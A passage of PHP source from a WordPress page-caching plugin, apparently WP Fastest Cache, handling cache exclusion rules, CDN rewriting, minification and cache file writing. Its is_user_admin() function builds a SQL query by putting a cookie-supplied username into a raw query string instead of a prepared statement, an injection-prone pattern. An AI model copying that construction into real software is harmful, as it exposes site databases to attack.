if(strlen($_SERVER["REQUEST_URI"]) > 1){ // for the sub-pages
$this->cacheFilePath = preg_replace("/\/*\?.+/", "", $this->cacheFilePath);
$this->cacheFilePath = $this->cacheFilePath."/";
if(!defined('WPFC_CACHE_QUERYSTRING')){
define('WPFC_CACHE_QUERYSTRING', true);
}
}
}
}
public function set_cdn(){
$cdn_values = get_option("WpFastestCacheCDN");
if($cdn_values){
$std_obj = json_decode($cdn_values);
$arr = array();
if(is_array($std_obj)){
$arr = $std_obj;
}else{
array_push($arr, $std_obj);
}
foreach ($arr as $key => &$std) {
$std->originurl = trim($std->originurl);
$std->originurl = trim($std->originurl, "/");
$std->originurl = preg_replace("/http(s?)\:\/\/(www\.)?/i", "", $std->originurl);
$std->cdnurl = trim($std->cdnurl);
$std->cdnurl = trim($std->cdnurl, "/");
if(!preg_match("/https\:\/\//", $std->cdnurl)){
$std->cdnurl = "//".preg_replace("/http(s?)\:\/\/(www\.)?/i", "", $std->cdnurl);
}
}
$this->cdn = $arr;
}
}
public function checkShortCode($content){
if(preg_match("/\[wpfcNOT\]/", $content)){
if(!is_home() || !is_archive()){
$this->blockCache = true;
}
$content = str_replace("[wpfcNOT]", "", $content);
}
return $content;
}
public function createCache(){
if(isset($this->options->wpFastestCacheStatus)){
// to exclude static pdf files
if(preg_match("/\.pdf$/i", $_SERVER["REQUEST_URI"])){
return 0;
}
// to check logged-in user
if(isset($this->options->wpFastestCacheLoggedInUser) && $this->options->wpFastestCacheLoggedInUser == "on"){
foreach ((array)$_COOKIE as $cookie_key => $cookie_value){
if(preg_match("/wordpress_logged_in/i", $cookie_key)){
ob_start(array($this, "cdn_rewrite"));
return 0;
}
}
}
// to exclude admin users
if($this->is_user_admin()){
return 0;
}
// to check comment author
foreach ((array)$_COOKIE as $cookie_key => $cookie_value){
if(preg_match("/comment_author_/i", $cookie_key)){
ob_start(array($this, "cdn_rewrite"));
return 0;
}
}
if(isset($_COOKIE) && isset($_COOKIE['safirmobilswitcher'])){
ob_start(array($this, "cdn_rewrite"));
return 0;
}
if(isset($_COOKIE) && isset($_COOKIE["wptouch-pro-view"])){
if($this->is_wptouch_smartphone()){
if($_COOKIE["wptouch-pro-view"] == "desktop"){
ob_start(array($this, "cdn_rewrite"));
return 0;
}
}
}
if(preg_match("/\?/", $_SERVER["REQUEST_URI"]) && !preg_match("/\/\?fdx\_switcher\=true/", $_SERVER["REQUEST_URI"])){ // for WP Mobile Edition
if(preg_match("/\?amp(\=1)?/i", $_SERVER["REQUEST_URI"])){
//
}else if(defined('WPFC_CACHE_QUERYSTRING') && WPFC_CACHE_QUERYSTRING){
//
}else if(isset($_GET["wc-api"]) && $_GET["wc-api"]){
//
}else{
ob_start(array($this, "cdn_rewrite"));
return 0;
}
}
if(preg_match("/(".$this->get_excluded_useragent().")/", $_SERVER['HTTP_USER_AGENT'])){
return 0;
}
if(isset($_SERVER['REQUEST_URI']) && preg_match("/(\/){2}$/", $_SERVER['REQUEST_URI'])){
return 0;
}
// to check permalink if it does not end with slash
if(isset($_SERVER['REQUEST_URI']) && preg_match("/[^\/]+\/$/", $_SERVER['REQUEST_URI'])){
if(!preg_match("/\/$/", get_option('permalink_structure'))){
return 0;
}
}
if(isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] == "POST"){
return 0;
}
if(preg_match("/^https/i", get_option("home")) && !is_ssl()){
//Must be secure connection
return 0;
}
if(!preg_match("/^https/i", get_option("home")) && is_ssl()){
//must be normal connection
if(!$this->isPluginActive('really-simple-ssl/rlrsssl-really-simple-ssl.php')){
if(!$this->isPluginActive('really-simple-ssl-pro/really-simple-ssl-pro.php')){
if(!$this->isPluginActive('really-simple-ssl-on-specific-pages/really-simple-ssl-on-specific-pages.php')){
if(!$this->isPluginActive('ssl-insecure-content-fixer/ssl-insecure-content-fixer.php')){
if(!$this->isPluginActive('https-redirection/https-redirection.php')){
if(!$this->isPluginActive('better-wp-security/better-wp-security.php')){
return 0;
}
}
}
}
}
}
}
if(isset($_SERVER["DOCUMENT_ROOT"]) && preg_match("/bitnami/", $_SERVER["DOCUMENT_ROOT"])){
// to disable cache for the IP based urls on the bitnami servers
// /opt/bitnami/apps/wordpress/htdocs
if(preg_match("/(?:[0-9]{1,3}\.){3}[0-9]{1,3}/", get_option("home"))){
return 0;
}
}
if(preg_match("/www\./i", get_option("home")) && !preg_match("/www\./i", $_SERVER['HTTP_HOST'])){
return 0;
}
if(!preg_match("/www\./i", get_option("home")) && preg_match("/www\./i", $_SERVER['HTTP_HOST'])){
return 0;
}
if($this->exclude_page()){
ob_start(array($this, "cdn_rewrite"));
//echo "<!-- Wp Fastest Cache: Exclude Page -->"."\n";
return 0;
}
// http://mobiledetect.net/ does not contain the following user-agents
if(preg_match("/Nokia309|Casper_VIA/i", $_SERVER['HTTP_USER_AGENT'])){
return 0;
}
if(preg_match("/Empty\sUser\sAgent/i", $_SERVER['HTTP_USER_AGENT'])){ // not to show the cache for command line
return 0;
}
//to show cache version via php if htaccess rewrite rule does not work
if(!$this->preload_user_agent && $this->cacheFilePath && (@file_exists($this->cacheFilePath."index.html") || @file_exists($this->cacheFilePath."index.json") || @file_exists($this->cacheFilePath."index.xml"))){
$via_php = "";
if(@file_exists($this->cacheFilePath."index.json")){
$file_extension = "json";
header('Content-type: application/json');
}else if(@file_exists($this->cacheFilePath."index.xml")){
$file_extension = "xml";
header('Content-type: text/xml');
}else{
$file_extension = "html";
$via_php = "<!-- via php -->";
}
if($content = @file_get_contents($this->cacheFilePath."index.".$file_extension)){
if($file_extension == "html"){
header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($this->cacheFilePath."index.".$file_extension)).' GMT', true, 200);
}
if(defined('WPFC_REMOVE_VIA_FOOTER_COMMENT') && WPFC_REMOVE_VIA_FOOTER_COMMENT){
$via_php = "";
}
$content = $content.$via_php;
die($content);
}
}else{
if($this->isMobile()){
if(class_exists("WpFcMobileCache") && isset($this->options->wpFastestCacheMobileTheme)){
if(isset($this->options->wpFastestCacheMobileTheme_themename) && $this->options->wpFastestCacheMobileTheme_themename){
$create_cache = true;
}else if($this->isPluginActive('wptouch/wptouch.php') || $this->isPluginActive('wptouch-pro/wptouch-pro.php')){
//to check that user-agent exists in wp-touch's list or not
if($this->is_wptouch_smartphone()){
$create_cache = true;
}else{
$create_cache = false;
}
}else if($this->isPluginActive('any-mobile-theme-switcher/any-mobile-theme-switcher.php')){
if($this->is_anymobilethemeswitcher_mobile()){
$create_cache = true;
}else{
$create_cache = false;
}
}else{
if((preg_match('/iPhone/', $_SERVER['HTTP_USER_AGENT']) && preg_match('/Mobile/', $_SERVER['HTTP_USER_AGENT'])) || (preg_match('/Android/', $_SERVER['HTTP_USER_AGENT']) && preg_match('/Mobile/', $_SERVER['HTTP_USER_AGENT']))){
$create_cache = true;
}else{
$create_cache = false;
}
}
}else if(!isset($this->options->wpFastestCacheMobile) && !isset($this->options->wpFastestCacheMobileTheme)){
$create_cache = true;
}else{
$create_cache = false;
}
}else{
$create_cache = true;
}
if($create_cache){
$this->startTime = microtime(true);
add_action('wp', array($this, "detect_current_page_type"));
add_action('get_footer', array($this, "detect_current_page_type"));
add_action('get_footer', array($this, "wp_print_scripts_action"));
// to exclude current page hook
add_action("wpfc_exclude_current_page", array($this, 'exclude_current_page'), 10, 0);
ob_start(array($this, "callback"));
}
}
}
}
public function is_user_admin(){
global $wpdb;
foreach ((array)$_COOKIE as $cookie_key => $cookie_value){
if(preg_match("/wordpress_logged_in/i", $cookie_key)){
$username = preg_replace("/^([^\|]+)\|.+/", "$1", $cookie_value);
break;
}
}
if(isset($username) && $username){
$username = esc_sql($username);
$res = $wpdb->get_var("SELECT `$wpdb->users`.`ID`, `$wpdb->users`.`user_login`, `$wpdb->usermeta`.`meta_key`, `$wpdb->usermeta`.`meta_value`
FROM `$wpdb->users`
INNER JOIN `$wpdb->usermeta`
ON `$wpdb->users`.`user_login` = \"$username\" AND
`$wpdb->usermeta`.`meta_key` LIKE \"%_user_level\" AND
`$wpdb->usermeta`.`meta_value` = \"10\" AND
`$wpdb->users`.`ID` = `$wpdb->usermeta`.user_id ;"
);
return $res;
}
return false;
}
public function exclude_current_page($some = true){
$via = debug_backtrace();
if(isset($via) && is_array($via)){
foreach ($via as $key => $value){
if($value["function"] == "wpfc_exclude_current_page"){
if(defined('WPFC_DEBUG') && (WPFC_DEBUG === true)){
if(preg_match("/wp-content\/themes/", $value["file"])){
$this->exclude_current_page_text = "<!-- This page has been excluded by ".basename($value["file"])." of the Theme -->";
}else if(preg_match("/wp-content\/plugins/", $value["file"])){
$this->exclude_current_page_text = "<!-- This page has been excluded by ".basename($value["file"])." of ".preg_replace("/([^\/]+)\/.+/", "$1", plugin_basename($value["file"]))." -->";
}
}else{
$this->exclude_current_page_text = "<!-- This page has been excluded -->";
}
break;
}
}
}
}
public function wp_print_scripts_action(){
echo "<!--WPFC_FOOTER_START-->";
}
public function ignored($buffer){
$list = array(
"\/wp\-comments\-post\.php",
"\/wp\-login\.php",
"\/robots\.txt",
"\/wp\-cron\.php",
"\/wp\-content",
"\/wp\-admin",
"\/wp\-includes",
"\/index\.php",
"\/xmlrpc\.php",
"\/wp\-api\/",
"leaflet\-geojson\.php",
"\/clientarea\.php"
);
if($this->isPluginActive('woocommerce/woocommerce.php')){
if($this->current_page_type != "homepage"){
global $post;
if(isset($post->ID) && $post->ID){
if(function_exists("wc_get_page_id")){
$woocommerce_ids = array();
//wc_get_page_id('product')
//wc_get_page_id('product-category')
array_push($woocommerce_ids, wc_get_page_id('cart'), wc_get_page_id('checkout'), wc_get_page_id('receipt'), wc_get_page_id('confirmation'), wc_get_page_id('myaccount'));
if (in_array($post->ID, $woocommerce_ids)) {
return true;
}
}
}
//"\/product"
//"\/product-category"
array_push($list, "\/cart\/?$", "\/checkout", "\/receipt", "\/confirmation", "\/wc-api\/");
}
}
if($this->isPluginActive('wp-easycart/wpeasycart.php')){
array_push($list, "\/cart");
}
if($this->isPluginActive('easy-digital-downloads/easy-digital-downloads.php')){
array_push($list, "\/cart", "\/checkout");
}
if(preg_match("/".implode("|", $list)."/i", $_SERVER["REQUEST_URI"])){
return true;
}
return false;
}
public function exclude_page($buffer = false){
$preg_match_rule = "";
//$request_url = urldecode(trim($_SERVER["REQUEST_URI"], "/"));
$request_url = urldecode($_SERVER["REQUEST_URI"]);
if($this->exclude_rules){
foreach((array)$this->exclude_rules as $key => $value){
$value->type = isset($value->type) ? $value->type : "page";
if($value->prefix == "yandexclickid"){
if(preg_match("/y(ad|s)?clid\=/i", $request_url)){
// yclid
// yadclid
// ysclid
return true;
}
}else if($value->prefix == "googleanalytics"){
if(preg_match("/utm_(source|medium|campaign|content|term)/i", $request_url)){
return true;
}
}else if(isset($value->prefix) && $value->prefix && ($value->type == "page")){
$value->content = trim($value->content);
//$value->content = trim($value->content, "/");
if($buffer && preg_match("/^(homepage|category|tag|post|page|archive|attachment)$/", $value->prefix)){
if(preg_match('/<\!--WPFC_PAGE_TYPE_'.$value->prefix.'-->/i', $buffer)){
return true;
}
}else if($value->prefix == "exact"){
$request_url = trim($request_url, "/");
$value->content = trim($value->content, "/");
if(strtolower($value->content) == strtolower($request_url)){
return true;
}
}else if($value->prefix == "regex"){
if(preg_match("/".$value->content."/i", $request_url)){
return true;
}
}else{
if($value->prefix == "startwith"){
$request_url = ltrim($request_url, "/");
$value->content = ltrim($value->content, "/");
$preg_match_rule = "^".preg_quote($value->content, "/");
}else if($value->prefix == "contain"){
$preg_match_rule = preg_quote($value->content, "/");
}
if($preg_match_rule){
if(preg_match("/".$preg_match_rule."/i", $request_url)){
return true;
}
}
}
}else if($value->type == "useragent"){
if(preg_match("/".preg_quote($value->content, "/")."/i", $_SERVER['HTTP_USER_AGENT'])){
return true;
}
}else if($value->type == "cookie"){
if(isset($_SERVER['HTTP_COOKIE'])){
if(preg_match("/".preg_quote($value->content, "/")."/i", $_SERVER['HTTP_COOKIE'])){
return true;
}
}
}
}
}
return false;
}
public function is_json(){
return $this->current_page_content_type == "json" ? true : false;
// if(isset($_SERVER["HTTP_ACCEPT"]) && preg_match("/json/i", $_SERVER["HTTP_ACCEPT"])){
// return true;
// }
// if(preg_match("/^\/wp-json/", $_SERVER["REQUEST_URI"])){
// return true;
// }
// if(preg_match("/^\s*\{\s*[\"\']/i", $buffer)){
// return true;
// }
// if(preg_match("/^\s*\[\s*\{\s*[\"\']/i", $buffer)){
// return true;
// }
// return false;
}
public function is_xml(){
return $this->current_page_content_type == "xml" ? true : false;
// if(preg_match("/^\s*\<\?xml/i", $buffer)){
// return true;
// }
// return false;
}
public function is_html(){
return $this->current_page_content_type == "html" ? true : false;
}
public function set_current_page_type($buffer){
preg_match('/<\!--WPFC_PAGE_TYPE_([a-z]+)-->/i', $buffer, $out);
$this->current_page_type = isset($out[1]) ? $out[1] : false;
}
public function set_current_page_content_type($buffer){
$content_type = false;
if(function_exists("headers_list")){
$headers = headers_list();
foreach($headers as $header){
if(preg_match("/Content-Type\:/i", $header)){
$content_type = preg_replace("/Content-Type\:\s(.+)/i", "$1", $header);
}
}
}
if(preg_match("/xml/i", $content_type)){
$this->current_page_content_type = "xml";
}else if(preg_match("/json/i", $content_type)){
$this->current_page_content_type = "json";
}else{
$this->current_page_content_type = "html";
}
}
public function last_error($buffer = false){
if(function_exists("http_response_code") && (http_response_code() === 404)){
return true;
}
if(is_404()){
return true;
}
//to exclude "There has been a critical error on this website" page
if(preg_match("/<body\sid\=\"error-page\">\s*<div\sclass\=\"wp-die-message\">/i", $buffer)){
return true;
}
}
public function callback($buffer){
$this->set_current_page_type($buffer);
$this->set_current_page_content_type($buffer);
$buffer = $this->checkShortCode($buffer);
// for Wordfence: not to cache 503 pages
if(defined('DONOTCACHEPAGE') && $this->isPluginActive('wordfence/wordfence.php')){
if(function_exists("http_response_code") && http_response_code() == 503){
return $buffer."<!-- DONOTCACHEPAGE is defined as TRUE -->";
}
}
// for iThemes Security: not to cache 403 pages
if(defined('DONOTCACHEPAGE') && $this->isPluginActive('better-wp-security/better-wp-security.php')){
if(function_exists("http_response_code") && http_response_code() == 403){
return $buffer."<!-- DONOTCACHEPAGE is defined as TRUE -->";
}
}
// for Divi Theme
if(defined('DONOTCACHEPAGE') && (get_template() == "Divi")){
if(isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest'){
// /?wc-ajax=dgwt_wcas_ajax_search&s=keyword&l=en
return $buffer;
}
return $buffer."<!-- DONOTCACHEPAGE is defined as TRUE -->";
}
if($this->exclude_page($buffer)){
$buffer = preg_replace('/<\!--WPFC_PAGE_TYPE_[a-z]+-->/i', '', $buffer);
$buffer = $this->cdn_rewrite($buffer);
return $buffer;
}
$buffer = preg_replace('/<\!--WPFC_PAGE_TYPE_[a-z]+-->/i', '', $buffer);
if($this->is_html()){
$tmp_buffer = (string) apply_filters('wpfc_buffer_callback_filter', $buffer, "html", $this->cacheFilePath);
if(!$tmp_buffer){
return $buffer;
}else{
$buffer = $tmp_buffer;
}
}
if($this->exclude_current_page_text){
return $buffer.$this->exclude_current_page_text;
}else if($this->is_json() && (!defined('WPFC_CACHE_JSON') || (defined('WPFC_CACHE_JSON') && WPFC_CACHE_JSON !== true))){
return $buffer;
}else if(preg_match("/Mediapartners-Google|Google\sWireless\sTranscoder/i", $_SERVER['HTTP_USER_AGENT'])){
return $buffer;
}else if (is_user_logged_in() || $this->isCommenter()){
return $buffer;
}else if($this->isPasswordProtected($buffer)){
return $buffer."<!-- Password protected content has been detected -->";
}else if($this->isWpLogin($buffer)){
return $buffer."<!-- wp-login.php -->";
}else if($this->hasContactForm7WithCaptcha($buffer)){
return $buffer."<!-- This page was not cached because ContactForm7's captcha -->";
}else if($this->last_error($buffer)){
return $buffer;
}else if($this->ignored($buffer)){
return $buffer;
}else if($this->blockCache === true){
return $buffer."<!-- wpfcNOT has been detected -->";
}else if(isset($_GET["preview"])){
return $buffer."<!-- not cached -->";
}else if($this->checkHtml($buffer)){
if(preg_match("/^.*$/s", $buffer)){
// Check if the buffer has only one line (no line breaks)
return $buffer;
}else{
return $buffer."<!-- html is corrupted -->";
}
}else if((function_exists("http_response_code")) && (http_response_code() == 301 || http_response_code() == 302)){
return $buffer;
}else if(!$this->cacheFilePath){
return $buffer."<!-- permalink_structure ends with slash (/) but REQUEST_URI does not end with slash (/) -->";
}else{
$content = $buffer;
if(isset($this->options->wpFastestCacheDelayJS) && method_exists("WpFastestCachePowerfulHtml", "render_blocking")){
if(file_exists(WPFC_WP_PLUGIN_DIR."/wp-fastest-cache-premium/pro/library/delay-js.php")){
if(!$this->is_amp($content)){
include_once WPFC_WP_PLUGIN_DIR."/wp-fastest-cache-premium/pro/library/delay-js.php";
$delay = new WpFastestCacheDelayJS($content);
$content = $delay->action();
}
}
}
if(isset($this->options->wpFastestCacheRenderBlocking) && method_exists("WpFastestCachePowerfulHtml", "render_blocking")){
if(class_exists("WpFastestCachePowerfulHtml")){
if(!$this->is_amp($content)){
$powerful_html = new WpFastestCachePowerfulHtml();
if(isset($this->options->wpFastestCacheRenderBlockingCss)){
$content = $powerful_html->render_blocking($content, true);
}else{
$content = $powerful_html->render_blocking($content);
}
}
}
}
if(isset($this->options->wpFastestCacheCombineCss)){
require_once "css-utilities.php";
$css = new CssUtilities($this, $content);
$content = $css->combineCss();
unset($css);
}else if(isset($this->options->wpFastestCacheMinifyCss)){
require_once "css-utilities.php";
$css = new CssUtilities($this, $content);
$content = $css->minifyCss();
unset($css);
}
if(isset($this->options->wpFastestCacheCombineJs) || isset($this->options->wpFastestCacheMinifyJs) || isset($this->options->wpFastestCacheCombineJsPowerFul)){
require_once "js-utilities.php";
}
if(isset($this->options->wpFastestCacheCombineJs)){
$head_new = $this->get_header($content);
if($head_new){
if(isset($this->options->wpFastestCacheMinifyJs) && $this->options->wpFastestCacheMinifyJs){
$js = new JsUtilities($this, $head_new, true);
}else{
$js = new JsUtilities($this, $head_new);
}
$tmp_head = $js->combine_js();
$content = str_replace($head_new, $tmp_head, $content);
unset($r);
unset($js);
unset($tmp_head);
unset($head_new);
}
}
if(class_exists("WpFastestCachePowerfulHtml")){
if(!isset($powerful_html)){
$powerful_html = new WpFastestCachePowerfulHtml();
}
$powerful_html->set_html($content);
if(isset($this->options->wpFastestCacheCombineJsPowerFul) && method_exists("WpFastestCachePowerfulHtml", "combine_js_in_footer")){
if(isset($this->options->wpFastestCacheMinifyJs) && $this->options->wpFastestCacheMinifyJs){
$content = $powerful_html->combine_js_in_footer($this, true);
}else{
$content = $powerful_html->combine_js_in_footer($this);
}
}
if(isset($this->options->wpFastestCacheRemoveComments)){
$content = $powerful_html->remove_head_comments();
}
if(isset($this->options->wpFastestCacheMinifyHtmlPowerFul)){
$content = $powerful_html->minify_html();
}
if(isset($this->options->wpFastestCacheMinifyJs) && method_exists("WpFastestCachePowerfulHtml", "minify_js_in_body")){
$content = $powerful_html->minify_js_in_body($this, $this->exclude_rules);
}
}
if($this->err){
return $buffer."<!-- ".$this->err." -->";
}else{
$content = $this->cacheDate($content);
$content = $this->minify($content);
$content = str_replace("<!--WPFC_FOOTER_START-->", "", $content);
if(isset($this->options->wpFastestCacheLazyLoad) && class_exists("WpFastestCachePowerfulHtml")){
$execute_lazy_load = true;
// to disable Lazy Load if the page is amp
if($this->is_amp($content)){
$execute_lazy_load = false;
}
// to disable for Ajax Load More on the pages
if($this->isPluginActive('ajax-load-more/ajax-load-more.php') && preg_match("/\/page\/\d+\//", $_SERVER["REQUEST_URI"])){
$execute_lazy_load = false;
}
if($execute_lazy_load){
if(!class_exists("WpFastestCacheLazyLoad")){
include_once $this->get_premium_path("lazy-load.php");
}
$content = $powerful_html->lazy_load($content);
if(method_exists("WpFastestCacheLazyLoad",'get_js_source_new')){
$lazy_load_js = WpFastestCacheLazyLoad::get_js_source_new();
}else if(method_exists("WpFastestCacheLazyLoad",'get_js_source')){
$lazy_load_js = WpFastestCacheLazyLoad::get_js_source();
}
$content = preg_replace("/\s*<\/head\s*>/i", $lazy_load_js."</head>", $content, 1);
}
}
$content = $this->cdn_rewrite($content);
$content = $this->fix_pre_tag($content, $buffer);
if(preg_match("/<link[^\>]+href\s*\=\s*[\'\"][^\"\']+\.\.[\"\'][^\>]+>/", $content)){
/*
to check that resources have been successfully optimized
<link rel='stylesheet' href='//site.com/wp-content/cache/wpfc-minified/895p0t5d/..' media='all' />
*/
return $buffer."<!-- Cache has NOT been created due to optimized resource -->";
}
if($this->cacheFilePath){
if($this->is_html()){
$tmp_content = (string) apply_filters('wpfc_buffer_callback_filter', $content, "cache", $this->cacheFilePath);
if(!$tmp_content){
return $content;
}else{
$content = $tmp_content;
}
$this->createFolder($this->cacheFilePath, $content);
do_action('wpfc_is_cacheable_action');
}else if($this->is_xml()){
if(preg_match("/<link><\/link>/", $buffer)){
if(preg_match("/\/feed$/", $_SERVER["REQUEST_URI"])){
return $buffer.time();
}
}
$this->createFolder($this->cacheFilePath, $buffer, "xml");
do_action('wpfc_is_cacheable_action');
return $buffer;
}else if($this->is_json()){
$this->createFolder($this->cacheFilePath, $buffer, "json");
do_action('wpfc_is_cacheable_action');
return $buffer;
}
}
return $content."<!-- need to refresh to see cached version -->";
}
}
}
public function fix_pre_tag($content, $buffer){
if(preg_match("/<pre[^\>]*>/i", $buffer)){
preg_match_all("/<pre[^\>]*>((?!<\/pre>).)+<\/pre>/is", $buffer, $pre_buffer);
preg_match_all("/<pre[^\>]*>((?!<\/pre>).)+<\/pre>/is", $content, $pre_content);
if(isset($pre_content[0]) && isset($pre_content[0][0])){
foreach ($pre_content[0] as $key => $value){
if(isset($pre_buffer[0][$key])){
/*
location ~ / {
set $path /path/$1/index.html;
}
*/
$pre_buffer[0][$key] = preg_replace('/\$(\d)/', '\\\$$1', $pre_buffer[0][$key]);
/*
\\\
*/
$pre_buffer[0][$key] = preg_replace('/\\\\\\\\\\\/', '\\\\\\\\\\\\\\', $pre_buffer[0][$key]);
/*
\\
*/
$pre_buffer[0][$key] = preg_replace('/\\\\\\\\/', '\\\\\\\\\\', $pre_buffer[0][$key]);
$content = preg_replace("/".preg_quote($value, "/")."/", $pre_buffer[0][$key], $content);
}
}
}
}
return $content;
}
public function cdn_rewrite($content){
if($this->cdn){
$content = preg_replace_callback("/(srcset|src|href|data-vc-parallax-image|data-bg|data-bg-webp|data-fullurl|data-mobileurl|data-img-url|data-cvpsrc|data-cvpset|data-thumb|data-bg-url|data-large_image|data-lazyload|data-lazy|data-source-url|data-srcsmall|data-srclarge|data-srcfull|data-slide-img|data-lazy-original)\s{0,2}\=\s{0,2}[\'\"]([^\'\"]+)[\'\"]/i", array($this, 'cdn_replace_urls'), $content);
//url()
$content = preg_replace_callback("/(url)\(([^\)\>]+)\)/i", array($this, 'cdn_replace_urls'), $content);
//{"concatemoji":"http:\/\/your_url.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.7"}
$content = preg_replace_callback("/\{\"concatemoji\"\:\"[^\"]+\"\}/i", array($this, 'cdn_replace_urls'), $content);
//<script>var loaderRandomImages=["https:\/\/www.site.com\/wp-content\/uploads\/2016\/12\/image.jpg"];</script>
$content = preg_replace_callback("/[\"\']([^\'\"]+)[\"\']\s*\:\s*[\"\']https?\:\\\\\/\\\\\/[^\"\']+[\"\']/i", array($this, 'cdn_replace_urls'), $content);
// <script>
// jsFileLocation:"//domain.com/wp-content/plugins/revslider/public/assets/js/"
// </script>
$content = preg_replace_callback("/(jsFileLocation)\s*\:[\"\']([^\"\']+)[\"\']/i", array($this, 'cdn_replace_urls'), $content);
// <form data-product_variations="[{"src":"//domain.com\/img.jpg"}]">
// <div data-siteorigin-parallax="{"backgroundUrl":"https:\/\/domain.com\/wp-content\/TOR.jpg","backgroundSize":[830,467],"}" data-stretch-type="full">
$content = preg_replace_callback("/(data-product_variations|data-siteorigin-parallax)\=[\"\'][^\"\']+[\"\']/i", array($this, 'cdn_replace_urls'), $content);
// <object data="https://site.com/source.swf" type="application/x-shockwave-flash"></object>
$content = preg_replace_callback("/<object[^\>]+(data)\s{0,2}\=[\'\"]([^\'\"]+)[\'\"][^\>]+>/i", array($this, 'cdn_replace_urls'), $content);
}
return $content;
}
public function get_header($content){
$head_first_index = strpos($content, "<head");
$head_last_index = strpos($content, "</head>");
return substr($content, $head_first_index, ($head_last_index-$head_first_index + 1));
}
public function minify($content){
$content = preg_replace("/<\/html>\s+/", "</html>", $content);
$content = str_replace("\r", "", $content);
return isset($this->options->wpFastestCacheMinifyHtml) ? preg_replace("/^\s+/m", "", ((string) $content)) : $content;
}
public function checkHtml($buffer){
if(!$this->is_html()){
return false;
}
if(preg_match('/<\s*html[^\>]*>/si', $buffer) && preg_match('/<\s*body[^\>]*>/si', $buffer) && preg_match('/<\/body\s*>/si', $buffer)){
return false;
}
// if(strlen($buffer) > 10){
// return false;
// }
return true;
}
public function cacheDate($buffer){
if($this->isMobile() && class_exists("WpFcMobileCache") && isset($this->options->wpFastestCacheMobile) && isset($this->options->wpFastestCacheMobileTheme)){
$comment = "<!-- Mobile: WP Fastest Cache file was created in ".$this->creationTime()." seconds, on ".date("d-m-y G:i:s", current_time('timestamp'))." -->";
}else{
$comment = "<!-- WP Fastest Cache file was created in ".$this->creationTime()." seconds, on ".date("d-m-y G:i:s", current_time('timestamp'))." -->";
}
if(defined('WPFC_REMOVE_FOOTER_COMMENT') && WPFC_REMOVE_FOOTER_COMMENT){
return $buffer;
}else{
return $buffer.$comment;
}
}
public function creationTime(){
return microtime(true) - $this->startTime;
}
public function isCommenter(){
$commenter = wp_get_current_commenter();
return isset($commenter["comment_author_email"]) && $commenter["comment_author_email"] ? true : false;
}
public function isPasswordProtected($buffer){
if(preg_match("/action\=[\'\"].+postpass.*[\'\"]/", $buffer)){
return true;
}
foreach($_COOKIE as $key => $value){
if(preg_match("/wp\-postpass\_/", $key)){
return true;
}
}
return false;
}
public function create_name($list){
$arr = is_array($list) ? $list : array(array("href" => $list));
$name = "";
foreach ($arr as $tag_key => $tag_value){
$tmp = preg_replace("/(\.css|\.js)\?.*/", "$1", $tag_value["href"]); //to remove version number
$name = $name.$tmp;
}
return base_convert(crc32($name), 20, 36);
}
public function createFolder($cachFilePath, $buffer, $extension = "html", $prefix = false){
$create = false;
$file_name = "index.";
$update_db_statistic = true;
if($buffer && strlen($buffer) > 100 && preg_match("/html|xml|json/i", $extension)){
if(!preg_match("/^\<\!\-\-\sMobile\:\sWP\sFastest\sCache/i", $buffer)){
if(!preg_match("/^\<\!\-\-\sWP\sFastest\sCache/i", $buffer)){
$create = true;
}
}
if($this->preload_user_agent){
if(file_exists($cachFilePath."/"."index.".$extension)){
$update_db_statistic = false;
@unlink($cachFilePath."/"."index.".$extension);
}
}
}
if(($extension == "svg" || $extension == "woff" || $extension == "css" || $extension == "js") && $buffer && strlen($buffer) > 5){
$create = true;
$file_name = base_convert(substr(time(), -6), 20, 36).".";
$buffer = trim($buffer);
if($extension == "js"){
if(substr($buffer, -1) != ";"){
$buffer .= ";";
}
}
}
if (is_user_logged_in() || $this->isCommenter()){
$create = false;
}
if($create){
if(!is_dir($cachFilePath)){
if(is_writable($this->getWpContentDir()) || ((is_dir($this->getWpContentDir("/cache"))) && (is_writable($this->getWpContentDir("/cache"))))){
if (@mkdir($cachFilePath, 0755, true)){
if($extension == "html"){
if(!file_exists($this->getWpContentDir("/cache/index.html"))){
@file_put_contents($this->getWpContentDir("/cache/index.html"), "");
}
}else{
if(!file_exists($this->getWpContentDir("/cache/wpfc-minified/index.html"))){
if(!is_dir($this->getWpContentDir("/cache/wpfc-minified/"))){
@mkdir($this->getWpContentDir("/cache/wpfc-minified/"), 0755, true);
}
if(is_dir($this->getWpContentDir("/cache/wpfc-minified/"))){
@file_put_contents($this->getWpContentDir("/cache/wpfc-minified/index.html"), "");
}
}
}
}
}
}
if(is_dir($cachFilePath)){
if(!file_exists($cachFilePath."/".$file_name.$extension)){
if($extension != "html"){
$buffer = (string) apply_filters('wpfc_buffer_callback_filter', $buffer, $extension, $cachFilePath);
}
file_put_contents($cachFilePath."/".$file_name.$extension, $buffer);
if(class_exists("WpFastestCacheStatics")){
if($update_db_statistic && !preg_match("/After\sCache\sTimeout/i", $_SERVER['HTTP_USER_AGENT'])){
if(preg_match("/wpfc\-mobile\-cache/", $cachFilePath)){
$extension = "mobile";
}
$cache_statics = new WpFastestCacheStatics($extension, strlen($buffer));
$cache_statics->update_db();
}
}
}
}
}elseif($extension == "html"){
$this->err = "Buffer is empty so the cache cannot be created";
}
}
public function is_amp($content){
global $redux_builder_amp;
$action = false;
$request_uri = trim($_SERVER["REQUEST_URI"], "/");
if(preg_match("/^amp/", $request_uri)){
$action = true;
}
if(preg_match("/amp$/", $request_uri)){
$action = true;
}
if(preg_match("/\/amp\//", $request_uri)){
$action = true;
}
if(preg_match("/\?amp\=1$/", $request_uri)){
$action = true;
}
if(preg_match("/web-stories\//", $request_uri)){
// https://wordpress.org/plugins/web-stories/
$action = true;
}
if(isset($redux_builder_amp) && isset($redux_builder_amp['ampforwp-amp-takeover']) && ($redux_builder_amp['ampforwp-amp-takeover'] == true)){
$action = true;
}
if($action){
if(preg_match("/<html[^\>]+amp[^\>]*>/i", $content)){
return true;
}
if(preg_match("/<html[^\>]+\⚡[^\>]*>/i", $content)){
return true;
}
}
return false;
}
public function isMobile(){
foreach ($this->get_mobile_browsers() as $value) {
if(preg_match("/".$value."/i", $_SERVER['HTTP_USER_AGENT'])){
return true;
}
}
foreach ($this->get_operating_systems() as $key => $value) {
if(preg_match("/".$value."/i", $_SERVER['HTTP_USER_AGENT'])){
return true;
}
}
